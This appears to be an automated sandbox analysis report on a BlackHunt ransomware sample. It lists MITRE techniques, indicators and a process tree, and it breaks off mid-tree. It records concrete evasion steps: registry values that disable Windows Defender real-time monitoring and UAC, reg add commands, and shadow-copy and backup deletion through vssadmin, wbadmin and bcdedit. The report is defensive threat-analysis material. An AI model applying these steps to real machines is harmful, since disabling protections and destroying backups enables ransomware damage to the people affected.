01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b

Data Destruction

T1485

pid	Process
648	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
2176	bcdedit.exe
2380	bcdedit.exe

Renames multiple (353) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
4356	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\G:	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened (read-only)	\??\X:	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened (read-only)	\??\V:	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened (read-only)	\??\T:	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened (read-only)	\??\I:	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened (read-only)	\??\N:	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened (read-only)	\??\Y:	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened (read-only)	\??\U:	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened (read-only)	\??\O:	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened (read-only)	\??\S:	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened (read-only)	\??\Z:	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened (read-only)	\??\R:	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened (read-only)	\??\A:	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened (read-only)	\??\J:	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened (read-only)	\??\B:	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened (read-only)	\??\W:	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened (read-only)	\??\E:	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened (read-only)	\??\P:	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened (read-only)	\??\K:	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened (read-only)	\??\L:	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened (read-only)	\??\H:	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened (read-only)	\??\M:	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\hijrah-config-umalqura.properties	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\THIRDPARTYLICENSEREADME-JAVAFX.txt	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\net.properties	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hu.txt	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\dotnet\swidtag\Microsoft Windows Desktop Runtime - 6.0.25 (x64).swidtag	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\cldr.md	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\content-types.properties	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\zipfs.jar	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kk.txt	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\amd64\#BlackHunt_ReadMe.txt	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\mesa3d.md	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\giflib.md	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\jopt-simple.md	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File created	C:\Program Files\#BlackHunt_Private.key	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\directshow.md	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\LICENSE	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ext.txt	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nn.txt	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File created	C:\Program Files\Java\jdk-1.8\include\win32\bridge\#BlackHunt_ReadMe.hta	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy.jar	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\7-Zip\7-zip.chm	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\jopt-simple.md	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\cmm\#BlackHunt_ReadMe.txt	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\management\snmp.acl.template	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pa-in.txt	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\en.ttt	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\gstreamer.md	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File created	C:\Program Files\Java\jdk-1.8\legal\javafx\#BlackHunt_ReadMe.txt	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\dotnet\LICENSE.txt	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jmc.txt	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\#BlackHunt_Private.key	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_ja.properties	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_it.properties	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ast.txt	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\directshow.md	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\freebxml.md	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\meta-index	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File created	C:\Program Files\Java\jre-1.8\lib\amd64\#BlackHunt_ReadMe.txt	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\jawt.lib	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File created	C:\Program Files\7-Zip\Lang\#BlackHunt_ReadMe.hta	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\el.txt	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\gu.txt	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ms.txt	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File created	C:\Program Files\Java\jdk-1.8\bin\#BlackHunt_ReadMe.hta	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jvmticmlr.h	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ja.txt	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nl.txt	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tr.txt	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File created	C:\Program Files\Java\jdk-1.8\include\#BlackHunt_ReadMe.txt	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\server\classes.jsa	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\dotnet\ThirdPartyNotices.txt	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hi.txt	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\server\#BlackHunt_ReadMe.txt	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\cursors.properties	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\win32_CopyNoDrop32x32.gif	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\README.html	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\cmm\sRGB.pf	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File created	C:\Program Files\Java\jdk-1.8\legal\#BlackHunt_ReadMe.hta	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\libffi.md	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File created	C:\Program Files\dotnet\host\#BlackHunt_ReadMe.hta	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File created	C:\Program Files\dotnet\host\fxr\#BlackHunt_ReadMe.txt	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pl.txt	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\uk.txt	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\zh-cn.txt	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2236	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5060	vssadmin.exe
4904	vssadmin.exe
4456	vssadmin.exe
408	vssadmin.exe
2792	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
Token: SeRestorePrivilege	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
Token: SeBackupPrivilege	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
Token: SeTakeOwnershipPrivilege	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
Token: SeAuditPrivilege	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
Token: SeSecurityPrivilege	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
Token: SeIncBasePriorityPrivilege	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
Token: SeBackupPrivilege	2968	vssvc.exe
Token: SeRestorePrivilege	2968	vssvc.exe
Token: SeAuditPrivilege	2968	vssvc.exe
Token: SeBackupPrivilege	4236	wbengine.exe
Token: SeRestorePrivilege	4236	wbengine.exe
Token: SeSecurityPrivilege	4236	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 60 wrote to memory of 1984	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	94
PID 60 wrote to memory of 1984	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	94
PID 60 wrote to memory of 1312	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	97
PID 60 wrote to memory of 1312	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	97
PID 60 wrote to memory of 1272	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	99
PID 60 wrote to memory of 1272	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	99
PID 60 wrote to memory of 4976	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	101
PID 60 wrote to memory of 4976	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	101
PID 60 wrote to memory of 2172	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	102
PID 60 wrote to memory of 2172	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	102
PID 1984 wrote to memory of 1184	1984	cmd.exe	96
PID 1984 wrote to memory of 1184	1984	cmd.exe	96
PID 1312 wrote to memory of 4164	1312	cmd.exe	105
PID 1312 wrote to memory of 4164	1312	cmd.exe	105
PID 1272 wrote to memory of 4228	1272	cmd.exe	106
PID 1272 wrote to memory of 4228	1272	cmd.exe	106
PID 4976 wrote to memory of 1396	4976	cmd.exe	107
PID 4976 wrote to memory of 1396	4976	cmd.exe	107
PID 2172 wrote to memory of 3012	2172	cmd.exe	108
PID 2172 wrote to memory of 3012	2172	cmd.exe	108
PID 60 wrote to memory of 2676	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	110
PID 60 wrote to memory of 2676	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	110
PID 60 wrote to memory of 3104	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	112
PID 60 wrote to memory of 3104	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	112
PID 60 wrote to memory of 3504	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	113
PID 60 wrote to memory of 3504	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	113
PID 60 wrote to memory of 1956	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	116
PID 60 wrote to memory of 1956	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	116
PID 60 wrote to memory of 1544	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	118
PID 60 wrote to memory of 1544	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	118
PID 2676 wrote to memory of 4292	2676	cmd.exe	120
PID 2676 wrote to memory of 4292	2676	cmd.exe	120
PID 3104 wrote to memory of 4280	3104	cmd.exe	121
PID 3104 wrote to memory of 4280	3104	cmd.exe	121
PID 60 wrote to memory of 1012	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	122
PID 60 wrote to memory of 1012	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	122
PID 3504 wrote to memory of 2056	3504	cmd.exe	124
PID 3504 wrote to memory of 2056	3504	cmd.exe	124
PID 1956 wrote to memory of 4852	1956	cmd.exe	125
PID 1956 wrote to memory of 4852	1956	cmd.exe	125
PID 60 wrote to memory of 4856	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	126
PID 60 wrote to memory of 4856	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	126
PID 60 wrote to memory of 2360	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	128
PID 60 wrote to memory of 2360	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	128
PID 60 wrote to memory of 3708	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	131
PID 60 wrote to memory of 3708	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	131
PID 1544 wrote to memory of 1596	1544	cmd.exe	130
PID 60 wrote to memory of 4448	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	129
PID 1544 wrote to memory of 1596	1544	cmd.exe	130
PID 60 wrote to memory of 4448	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	129
PID 1012 wrote to memory of 4820	1012	cmd.exe	135
PID 1012 wrote to memory of 4820	1012	cmd.exe	135
PID 60 wrote to memory of 4348	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	136
PID 60 wrote to memory of 4348	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	136
PID 60 wrote to memory of 4340	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	138
PID 60 wrote to memory of 4340	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	138
PID 60 wrote to memory of 324	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	140
PID 60 wrote to memory of 324	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	140
PID 4856 wrote to memory of 1448	4856	cmd.exe	141
PID 4856 wrote to memory of 1448	4856	cmd.exe	141
PID 60 wrote to memory of 1348	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	143
PID 60 wrote to memory of 1348	60	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe	143
PID 3708 wrote to memory of 3484	3708	cmd.exe	144
PID 3708 wrote to memory of 3484	3708	cmd.exe	144

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe
"C:\Users\Admin\AppData\Local\Temp\01a72c95b4deda4c90fd58d3ced7ded1e5afddf700722522028c34e3f819dc3b.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:60
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1984
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1312
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1272
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:4228
- C:\Windows\System32\cmd.exe
